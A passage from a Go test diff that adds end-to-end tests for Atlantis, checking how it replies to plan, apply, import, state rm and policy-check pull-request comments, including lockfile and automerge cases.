{"exp-output-plan-staging.txt"}, + {"exp-output-plan-default.txt"}, + {"exp-output-apply-staging.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "simple with atlantis.yaml and apply all", + RepoDir: "simple-yaml", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply-all.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "custom repo config file", + RepoDir: "repo-config-file", + RepoConfigFile: "infrastructure/custom-name-atlantis.yaml", + ModifiedFiles: []string{ + "infrastructure/staging/main.tf", + "infrastructure/production/main.tf", + }, + ExpAutoplan: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "modules staging only", + RepoDir: "modules", + ModifiedFiles: []string{"staging/main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis apply -d staging", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan-only-staging.txt"}, + {"exp-output-apply-staging.txt"}, + {"exp-output-merge-only-staging.txt"}, + }, + }, + { + Description: "modules staging only - autoplan disabled", + RepoDir: "modules", + ModifiedFiles: []string{"staging/main.tf"}, + DisableAutoplan: true, + DisablePreWorkflowHooks: true, + ExpAutoplan: false, + Comments: []string{ + "atlantis plan -d staging", + "atlantis apply -d staging", + }, + ExpReplies: [][]string{ + {"exp-output-plan-staging.txt"}, + {"exp-output-apply-staging.txt"}, + {"exp-output-merge-only-staging.txt"}, + }, + }, + { + Description: "modules modules only", + RepoDir: "modules", + ModifiedFiles: []string{"modules/null/main.tf"}, + ExpAutoplan: false, + Comments: []string{ + "atlantis plan -d staging", + "atlantis plan -d production", + "atlantis apply -d staging", + "atlantis apply -d production", + }, + ExpReplies: [][]string{ + {"exp-output-plan-staging.txt"}, + {"exp-output-plan-production.txt"}, + {"exp-output-apply-staging.txt"}, + {"exp-output-apply-production.txt"}, + {"exp-output-merge-all-dirs.txt"}, + }, + }, + { + Description: "modules-yaml", + RepoDir: "modules-yaml", + ModifiedFiles: []string{"modules/null/main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis apply -d staging", + "atlantis apply -d production", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply-staging.txt"}, + {"exp-output-apply-production.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "tfvars-yaml", + RepoDir: "tfvars-yaml", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis apply -p staging", + "atlantis apply -p default", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply-staging.txt"}, + {"exp-output-apply-default.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "tfvars no autoplan", + RepoDir: "tfvars-yaml-no-autoplan", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: false, + Comments: []string{ + "atlantis plan -p staging", + "atlantis plan -p default", + "atlantis apply -p staging", + "atlantis apply -p default", + }, + ExpReplies: [][]string{ + {"exp-output-plan-staging.txt"}, + {"exp-output-plan-default.txt"}, + {"exp-output-apply-staging.txt"}, + {"exp-output-apply-default.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "automerge", + RepoDir: "automerge", + ExpAutomerge: true, + ExpAutoplan: true, + ModifiedFiles: []string{"dir1/main.tf", "dir2/main.tf"}, + Comments: []string{ + "atlantis apply -d dir1", + "atlantis apply -d dir2", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply-dir1.txt"}, + {"exp-output-apply-dir2.txt"}, + {"exp-output-automerge.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "server-side cfg", + RepoDir: "server-side-cfg", + ExpAutomerge: false, + ExpAutoplan: true, + ModifiedFiles: []string{"main.tf"}, + Comments: []string{ + "atlantis apply -w staging", + "atlantis apply -w default", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply-staging-workspace.txt"}, + {"exp-output-apply-default-workspace.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "workspaces parallel with atlantis.yaml", + RepoDir: "workspace-parallel-yaml", + ModifiedFiles: []string{"production/main.tf", "staging/main.tf"}, + ExpAutoplan: true, + ExpParallel: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan-staging.txt", "exp-output-autoplan-production.txt"}, + {"exp-output-apply-all-staging.txt", "exp-output-apply-all-production.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "global apply lock disables apply commands", + RepoDir: "simple-yaml", + ModifiedFiles: []string{"main.tf"}, + ApplyLock: true, + ExpAutoplan: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply-locked.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "omitting apply from allow commands always takes precedence", + RepoDir: "simple-yaml", + ModifiedFiles: []string{"main.tf"}, + AllowCommands: []command.Name{command.Plan}, + ApplyLock: false, + ExpAutoplan: true, + Comments: []string{ + "atlantis apply", + }, + ExpParseFailedCount: 1, + ExpAllowResponseCommentBack: true, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + // Disabling apply is implementing by omitting it from the apply list + // See: https://github.com/runatlantis/atlantis/pull/2877 + {"exp-output-allow-command-unknown-apply.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "import single project", + RepoDir: "import-single-project", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis import random_id.dummy1 AA", + "atlantis apply", + "atlantis import random_id.dummy2 BB", + "atlantis plan", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-import-dummy1.txt"}, + {"exp-output-apply-no-projects.txt"}, + {"exp-output-import-dummy2.txt"}, + {"exp-output-plan-again.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "import workspace", + RepoDir: "import-workspace", + Comments: []string{ + "atlantis import -d dir1 -w ops 'random_id.dummy1[0]' AA", + "atlantis import -p dir1-ops 'random_id.dummy2[0]' BB", + "atlantis plan -p dir1-ops", + }, + ExpReplies: [][]string{ + {"exp-output-import-dir1-ops-dummy1.txt"}, + {"exp-output-import-dir1-ops-dummy2.txt"}, + {"exp-output-plan.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "import single project with -var", + RepoDir: "import-single-project-var", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis import 'random_id.for_each[\"overridden\"]' AA -- -var var=overridden", + "atlantis import random_id.count[0] BB", + "atlantis plan -- -var var=overridden", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-import-foreach.txt"}, + {"exp-output-import-count.txt"}, + {"exp-output-plan-again.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "import multiple project", + RepoDir: "import-multiple-project", + ModifiedFiles: []string{"dir1/main.tf", "dir2/main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis import random_id.dummy1 AA", + "atlantis import -d dir1 random_id.dummy1 AA", + "atlantis plan", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-import-multiple-projects.txt"}, + {"exp-output-import-dummy1.txt"}, + {"exp-output-plan-again.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "state rm single project", + RepoDir: "state-rm-single-project", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis import random_id.simple AA", + "atlantis import 'random_id.for_each[\"overridden\"]' BB -- -var var=overridden", + "atlantis import random_id.count[0] BB", + "atlantis plan -- -var var=overridden", + "atlantis state rm 'random_id.for_each[\"overridden\"]' -- -lock=false", + "atlantis state rm random_id.count[0] random_id.simple", + "atlantis plan -- -var var=overridden", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-import-simple.txt"}, + {"exp-output-import-foreach.txt"}, + {"exp-output-import-count.txt"}, + {"exp-output-plan.txt"}, + {"exp-output-state-rm-foreach.txt"}, + {"exp-output-state-rm-multiple.txt"}, + {"exp-output-plan-again.txt"}, + {"exp-output-merged.txt"}, + }, + }, + { + Description: "state rm workspace", + RepoDir: "state-rm-workspace", + Comments: []string{ + "atlantis import -p dir1-ops 'random_id.dummy1[0]' AA", + "atlantis plan -p dir1-ops", + "atlantis state rm -p dir1-ops 'random_id.dummy1[0]'", + "atlantis plan -p dir1-ops", + }, + ExpReplies: [][]string{ + {"exp-output-import-dummy1.txt"}, + {"exp-output-plan.txt"}, + {"exp-output-state-rm-dummy1.txt"}, + {"exp-output-plan-again.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "state rm multiple project", + RepoDir: "state-rm-multiple-project", + ModifiedFiles: []string{"dir1/main.tf", "dir2/main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis import -d dir1 random_id.dummy AA", + "atlantis import -d dir2 random_id.dummy BB", + "atlantis plan", + "atlantis state rm random_id.dummy", + "atlantis plan", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-import-dummy1.txt"}, + {"exp-output-import-dummy2.txt"}, + {"exp-output-plan.txt"}, + {"exp-output-state-rm-multiple-projects.txt"}, + {"exp-output-plan-again.txt"}, + {"exp-output-merged.txt"}, + }, + }, + } + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + RegisterMockTestingT(t) + + // reset userConfig + userConfig = server.UserConfig{} + + opt := setupOption{ + repoConfigFile: c.RepoConfigFile, + allowCommands: c.AllowCommands, + disableAutoplan: c.DisableAutoplan, + disablePreWorkflowHooks: c.DisablePreWorkflowHooks, + } + ctrl, vcsClient, githubGetter, atlantisWorkspace := setupE2E(t, c.RepoDir, opt) + // Set the repo to be cloned through the testing backdoor. + repoDir, headSHA := initializeRepo(t, c.RepoDir) + atlantisWorkspace.TestingOverrideHeadCloneURL = fmt.Sprintf("file://%s", repoDir) + + // Setup test dependencies. + w := httptest.NewRecorder() + When(githubGetter.GetPullRequest( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int]())).ThenReturn(GitHubPullRequestParsed(headSHA), nil) + When(vcsClient.GetModifiedFiles( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) + + // First, send the open pull request event which triggers autoplan. + pullOpenedReq := GitHubPullRequestOpenedEvent(t, headSHA) + ctrl.Post(w, pullOpenedReq) + ResponseContains(t, w, 200, "Processing...") + + // Create global apply lock if required + if c.ApplyLock { + _, _ = applyLocker.LockApply() + } + + // Now send any other comments. + for _, comment := range c.Comments { + commentReq := GitHubCommentEvent(t, comment) + w = httptest.NewRecorder() + ctrl.Post(w, commentReq) + if c.ExpAllowResponseCommentBack { + ResponseContains(t, w, 200, "Commenting back on pull request") + } else { + ResponseContains(t, w, 200, "Processing...") + } + } + + // Send the "pull closed" event which would be triggered by the + // automerge or a manual merge. + pullClosedReq := GitHubPullRequestClosedEvent(t) + w = httptest.NewRecorder() + ctrl.Post(w, pullClosedReq) + ResponseContains(t, w, 200, "Pull request cleaned successfully") + + expNumHooks := len(c.Comments) - c.ExpParseFailedCount + // if auto plan is disabled, hooks will not be called on pull request opened event + if !c.DisableAutoplan { + expNumHooks++ + } + // Let's verify the pre-workflow hook was called for each comment including the pull request opened event + if !c.DisablePreWorkflowHooks { + mockPreWorkflowHookRunner.VerifyWasCalled(Times(expNumHooks)).Run(Any[models.WorkflowHookCommandContext](), + Eq("some dummy command"), Any[string](), Any[string](), Any[string]()) + } + // Let's verify the post-workflow hook was called for each comment including the pull request opened event + mockPostWorkflowHookRunner.VerifyWasCalled(Times(expNumHooks)).Run(Any[models.WorkflowHookCommandContext](), + Eq("some post dummy command"), Any[string](), Any[string](), Any[string]()) + + // Now we're ready to verify Atlantis made all the comments back (or + // replies) that we expect. We expect each plan to have 1 comment, + // and apply have 1 for each comment + expNumReplies := len(c.Comments) + + // If there are locks to delete at the end, that will take a comment + if !c.ExpNoLocksToDelete { + expNumReplies++ + } + + if c.ExpAutoplan { + expNumReplies++ + } + + if c.ExpAutomerge { + expNumReplies++ + } + + _, _, _, actReplies, _ := vcsClient.VerifyWasCalled(Times(expNumReplies)).CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetAllCapturedArguments() + Assert(t, len(c.ExpReplies) == len(actReplies), "missing expected replies, got %d but expected %d", len(actReplies), len(c.ExpReplies)) + for i, expReply := range c.ExpReplies { + assertCommentEquals(t, expReply, actReplies[i], c.RepoDir, c.ExpParallel) + } + + if c.ExpAutomerge { + // Verify that the merge API call was made. + vcsClient.VerifyWasCalledOnce().MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]()) + } else { + vcsClient.VerifyWasCalled(Never()).MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]()) + } + }) + } +} + +func TestSimpleWorkflow_terraformLockFile(t *testing.T) { + + if testing.Short() { + t.SkipNow() + } + // Ensure we have >= TF 0.14 locally. + ensureRunning014(t) + + cases := []struct { + Description string + // RepoDir is relative to testdata/test-repos. + RepoDir string + // ModifiedFiles are the list of files that have been modified in this + // pull request. + ModifiedFiles []string + // ExpAutoplan is true if we expect Atlantis to autoplan. + ExpAutoplan bool + // Comments are what our mock user writes to the pull request. + Comments []string + // ExpReplies is a list of files containing the expected replies that + // Atlantis writes to the pull request in order. A reply from a parallel operation + // will be matched using a substring check. + ExpReplies [][]string + // LockFileTracked deterims if the `.terraform.lock.hcl` file is tracked in git + // if this is true we dont expect the lockfile to be modified by terraform init + // if false we expect the lock file to be updated + LockFileTracked bool + }{ + { + Description: "simple with plan comment lockfile staged", + RepoDir: "simple-with-lockfile", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis plan", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-plan.txt"}, + }, + LockFileTracked: true, + }, + { + Description: "simple with plan comment lockfile not staged", + RepoDir: "simple-with-lockfile", + ModifiedFiles: []string{"main.tf"}, + Comments: []string{ + "atlantis plan", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-plan.txt"}, + }, + LockFileTracked: false, + }, + { + Description: "Modified .terraform.lock.hcl triggers autoplan ", + RepoDir: "simple-with-lockfile", + ModifiedFiles: []string{".terraform.lock.hcl"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis plan", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-plan.txt"}, + }, + LockFileTracked: true, + }, + } + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + RegisterMockTestingT(t) + + // reset userConfig + userConfig = server.UserConfig{} + + ctrl, vcsClient, githubGetter, atlantisWorkspace := setupE2E(t, c.RepoDir, setupOption{}) + // Set the repo to be cloned through the testing backdoor. + repoDir, headSHA := initializeRepo(t, c.RepoDir) + + oldLockFilePath, err := filepath.Abs(filepath.Join("testdata", "null_provider_lockfile_old_version")) + Ok(t, err) + oldLockFileContent, err := os.ReadFile(oldLockFilePath) + Ok(t, err) + + if c.LockFileTracked { + runCmd(t, "", "cp", oldLockFilePath, fmt.Sprintf("%s/.terraform.lock.hcl", repoDir)) + runCmd(t, repoDir, "git", "add", ".terraform.lock.hcl") + runCmd(t, repoDir, "git", "commit", "-am", "stage .terraform.lock.hcl") + } + + atlantisWorkspace.TestingOverrideHeadCloneURL = fmt.Sprintf("file://%s", repoDir) + + // Setup test dependencies. + w := httptest.NewRecorder() + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int]())).ThenReturn(GitHubPullRequestParsed(headSHA), nil) + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) + + // First, send the open pull request event which triggers autoplan. + pullOpenedReq := GitHubPullRequestOpenedEvent(t, headSHA) + ctrl.Post(w, pullOpenedReq) + ResponseContains(t, w, 200, "Processing...") + + // check lock file content + actualLockFileContent, err := os.ReadFile(fmt.Sprintf("%s/repos/runatlantis/atlantis-tests/2/default/.terraform.lock.hcl", atlantisWorkspace.DataDir)) + Ok(t, err) + if c.LockFileTracked { + if string(oldLockFileContent) != string(actualLockFileContent) { + t.Error("Expected terraform.lock.hcl file not to be different as it has been staged") + t.FailNow() + } + } else { + if string(oldLockFileContent) == string(actualLockFileContent) { + t.Error("Expected terraform.lock.hcl file to be different as it should have been updated") + t.FailNow() + } + } + + if !c.LockFileTracked { + // replace the lock file generated by the previous init to simulate + // dependencies needing updating in a latter plan + runCmd(t, "", "cp", oldLockFilePath, fmt.Sprintf("%s/repos/runatlantis/atlantis-tests/2/default/.terraform.lock.hcl", atlantisWorkspace.DataDir)) + } + + // Now send any other comments. + for _, comment := range c.Comments { + commentReq := GitHubCommentEvent(t, comment) + w = httptest.NewRecorder() + ctrl.Post(w, commentReq) + ResponseContains(t, w, 200, "Processing...") + } + + // check lock file content + actualLockFileContent, err = os.ReadFile(fmt.Sprintf("%s/repos/runatlantis/atlantis-tests/2/default/.terraform.lock.hcl", atlantisWorkspace.DataDir)) + Ok(t, err) + if c.LockFileTracked { + if string(oldLockFileContent) != string(actualLockFileContent) { + t.Error("Expected terraform.lock.hcl file not to be different as it has been staged") + t.FailNow() + } + } else { + if string(oldLockFileContent) == string(actualLockFileContent) { + t.Error("Expected terraform.lock.hcl file to be different as it should have been updated") + t.FailNow() + } + } + + // Let's verify the pre-workflow hook was called for each comment including the pull request opened event + mockPreWorkflowHookRunner.VerifyWasCalled(Times(2)).Run(Any[models.WorkflowHookCommandContext](), + Eq("some dummy command"), Any[string](), Any[string](), Any[string]()) + + // Now we're ready to verify Atlantis made all the comments back (or + // replies) that we expect. We expect each plan to have 1 comment, + // and apply have 1 for each comment plus one for the locks deleted at the + // end. + + _, _, _, actReplies, _ := vcsClient.VerifyWasCalled(Times(2)).CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetAllCapturedArguments() + Assert(t, len(c.ExpReplies) == len(actReplies), "missing expected replies, got %d but expected %d", len(actReplies), len(c.ExpReplies)) + for i, expReply := range c.ExpReplies { + assertCommentEquals(t, expReply, actReplies[i], c.RepoDir, false) + } + }) + } +} + +func TestGitHubWorkflowWithPolicyCheck(t *testing.T) { + if testing.Short() { + t.SkipNow() + } + // Ensure we have >= TF 0.14 locally. + ensureRunning014(t) + // Ensure we have conftest locally. + ensureRunningConftest(t) + + cases := []struct { + Description string + // RepoDir is relative to testdata/test-repos. + RepoDir string + // ModifiedFiles are the list of files that have been modified in this + // pull request. + ModifiedFiles []string + // Comments are what our mock user writes to the pull request. + Comments []string + // PolicyCheck is true if we expect Atlantis to run policy checking + PolicyCheck bool + // ExpAutomerge is true if we expect Atlantis to automerge. + ExpAutomerge bool + // ExpAutoplan is true if we expect Atlantis to autoplan. + ExpAutoplan bool + // ExpPolicyChecks is true if we expect Atlantis to execute policy checks + ExpPolicyChecks bool + // ExpQuietPolicyChecks is true if we expect Atlantis to exclude policy check output + // when there's no error + ExpQuietPolicyChecks bool + // ExpQuietPolicyCheckFailure is true when we expect Atlantis to post back policy check failures + // even when QuietPolicyChecks is enabled + ExpQuietPolicyCheckFailure bool + // ExpParallel is true if we expect Atlantis to run parallel plans or applies. + ExpParallel bool + // ExpReplies is a list of files containing the expected replies that + // Atlantis writes to the pull request in order. A reply from a parallel operation + // will be matched using a substring check. + ExpReplies [][]string + }{ + { + Description: "1 failing policy and 1 passing policy ", + RepoDir: "policy-checks-multi-projects", + ModifiedFiles: []string{"dir1/main.tf,", "dir2/main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-auto-policy-check.txt"}, + {"exp-output-apply.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "1 failing policy and 1 passing policy with --quiet-policy-checks", + RepoDir: "policy-checks-multi-projects", + ModifiedFiles: []string{"dir1/main.tf,", "dir2/main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: true, + ExpQuietPolicyChecks: true, + ExpQuietPolicyCheckFailure: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-auto-policy-check-quiet.txt"}, + {"exp-output-apply.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "failing policy without policies passing using extra args", + RepoDir: "policy-checks-extra-args", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-auto-policy-check.txt"}, + {"exp-output-apply-failed.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "failing policy without policies passing", + RepoDir: "policy-checks", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-auto-policy-check.txt"}, + {"exp-output-apply-failed.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "failing policy without policies passing and custom run steps", + RepoDir: "policy-checks-custom-run-steps", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-auto-policy-check.txt"}, + {"exp-output-apply-failed.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "failing policy additional apply requirements specified", + RepoDir: "policy-checks-apply-reqs", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-auto-policy-check.txt"}, + {"exp-output-apply-failed.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "failing policy approved by non owner", + RepoDir: "policy-checks-diff-owner", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: true, + Comments: []string{ + "atlantis approve_policies", + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-auto-policy-check.txt"}, + {"exp-output-approve-policies.txt"}, + {"exp-output-apply-failed.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "successful policy checks with quiet flag enabled", + RepoDir: "policy-checks-success-silent", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: true, + ExpQuietPolicyChecks: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "failing policy checks with quiet flag enabled", + RepoDir: "policy-checks", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: true, + ExpQuietPolicyChecks: true, + ExpQuietPolicyCheckFailure: true, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-auto-policy-check.txt"}, + {"exp-output-apply-failed.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "failing policy with approval and policy approval clear", + RepoDir: "policy-checks-clear-approval", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: true, + Comments: []string{ + "atlantis approve_policies", + "atlantis approve_policies --clear-policy-approval", + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-auto-policy-check.txt"}, + {"exp-output-approve-policies-success.txt"}, + {"exp-output-approve-policies-clear.txt"}, + {"exp-output-apply-failed.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "policy checking disabled on specific repo", + RepoDir: "policy-checks-disabled-repo", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: false, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "policy checking disabled on specific repo server side", + RepoDir: "policy-checks-disabled-repo-server-side", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: false, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "policy checking enabled on specific repo but disabled globally", + RepoDir: "policy-checks-enabled-repo", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: false, + ExpAutoplan: true, + ExpPolicyChecks: false, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "policy checking enabled on specific repo server side but disabled globally", + RepoDir: "policy-checks-enabled-repo-server-side", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: false, + ExpAutoplan: true, + ExpPolicyChecks: false, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "policy checking disabled on previous regex match but not on repo", + RepoDir: "policy-checks-disabled-previous-match", + ModifiedFiles: []string{"main.tf"}, + PolicyCheck: true, + ExpAutoplan: true, + ExpPolicyChecks: false, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply.txt"}, + {"exp-output-merge.txt"}, + }, + }, + } + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + RegisterMockTestingT(t) + + // reset userConfig + userConfig = server.UserConfig{} + userConfig.EnablePolicyChecksFlag = c.PolicyCheck + userConfig.QuietPolicyChecks = c.ExpQuietPolicyChecks + + ctrl, vcsClient, githubGetter, atlantisWorkspace := setupE2E(t, c.RepoDir, setupOption{userConfig: userConfig}) + + // Set the repo to be cloned through the testing backdoor. + repoDir, headSHA := initializeRepo(t, c.RepoDir) + atlantisWorkspace.TestingOverrideHeadCloneURL = fmt.Sprintf("file://%s", repoDir) + + // Setup test dependencies. + w := httptest.NewRecorder() + When(vcsClient.PullIsMergeable( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq("atlantis-test"), Eq([]string{}))).ThenReturn(true, nil) + When(vcsClient.PullIsApproved( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(models.ApprovalStatus{ + IsApproved: true, + }, nil) + When(githubGetter.GetPullRequest( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int]())).ThenReturn(GitHubPullRequestParsed(headSHA), nil) + When(vcsClient.GetModifiedFiles( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) + + // First, send the open pull request event which triggers autoplan. + pullOpenedReq := GitHubPullRequestOpenedEvent(t, headSHA) + ctrl.Post(w, pullOpenedReq) + ResponseContains(t, w, 200, "Processing...") + + // Now send any other comments. + for _, comment := range c.Comments { + commentReq := GitHubCommentEvent(t, comment) + w = httptest.NewRecorder() + ctrl.Post(w, commentReq) + ResponseContains(t, w, 200, "Processing...") + } + + // Send the "pull closed" event which would be triggered by the + // automerge or a manual merge. + pullClosedReq := GitHubPullRequestClosedEvent(t) + w = httptest.NewRecorder() + ctrl.Post(w, pullClosedReq) + ResponseContains(t, w, 200, "Pull request cleaned successfully") + + // Now we're ready to verify Atlantis made all the comments back (or + // replies) that we expect. We expect each plan to have 2 comments, + // one for plan one for policy check and apply have 1 for each + // comment plus one for the locks deleted at the end. + expNumReplies := len(c.Comments) + 1 + + if c.ExpAutoplan { + expNumReplies++ + expNumReplies++ + } + + var planRegex = regexp.MustCompile("plan") + for _, comment := range c.Comments { + if planRegex.MatchString(comment) { + expNumReplies++ + } + } + + if c.ExpAutomerge { + expNumReplies++ + } + + if c.ExpQuietPolicyChecks && !c.ExpQuietPolicyCheckFailure { + expNumReplies-- + } + + if !c.ExpPolicyChecks { + expNumReplies-- + } + _, _, _, actReplies, _ := vcsClient.VerifyWasCalled(Times(expNumReplies)).CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetAllCapturedArguments() + + Assert(t, len(c.ExpReplies) == len(actReplies), "missing expected replies, got %d but expected %d", len(actReplies), len(c.ExpReplies)) + for i, expReply := range c.ExpReplies { + assertCommentEquals(t, expReply, actReplies[i], c.RepoDir, c.ExpParallel) + } + + if c.ExpAutomerge { + // Verify that the merge API call was made. + vcsClient.VerifyWasCalledOnce().MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]()) + } else { + 